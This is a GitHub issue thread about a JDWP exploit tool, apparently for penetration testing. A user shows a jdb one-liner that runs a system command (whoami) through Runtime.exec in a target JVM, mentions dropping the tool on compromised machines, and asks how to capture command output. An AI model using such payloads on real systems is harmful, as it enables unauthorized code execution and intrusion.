Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Possible to get the command ouput #4

Open
maaaaz opened this issue Jan 24, 2016 · 1 comment
Open

Possible to get the command ouput #4

maaaaz opened this issue Jan 24, 2016 · 1 comment
Assignees

Comments

@maaaaz
Copy link

maaaaz commented Jan 24, 2016

Hello @hugsy,

I wondered whether it would even be possible to grab the command output, as going blind is sometimes tricky.

I don't know if it is possible as a loop has to be defined to grab the buffer stream...
This kind of stuff works (but for 1 line only), maybe you'll figure out how grab an output:

In a jdb session:

$ print new java.io.BufferedReader( new java.io.InputStreamReader( new java.lang.Runtime().exec("whoami").getInputStream())).readLine()

...
 new java.io.BufferedReader( new java.io.InputStreamReader( new java.lang.Runtime().exec("whoami").getInputStream())).readLine() = "root"

By the way, I took the liberty to bundle your original script for Windows in order to easily drop it on internal compromised machines: I obviously put a link to your repo, tell me if anything bothers.

Cheers.

@hugsy hugsy self-assigned this Jan 25, 2016
@hugsy
Copy link
Contributor

hugsy commented Jan 25, 2016

Hey @maaaaz

I already took a look at fetching the result from the command. When I wrote the exploit code, my objective was to make code execution 100% reliable for all JVM (only POC existed at that time).

Using the StreamReader with the exploit to display content would add quite a bit of work which I don't really have time to do right now. But if you do, I gladly accept Pull Request :-)

And thanks for providing a compiled copy of the tool.

Cheers,

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants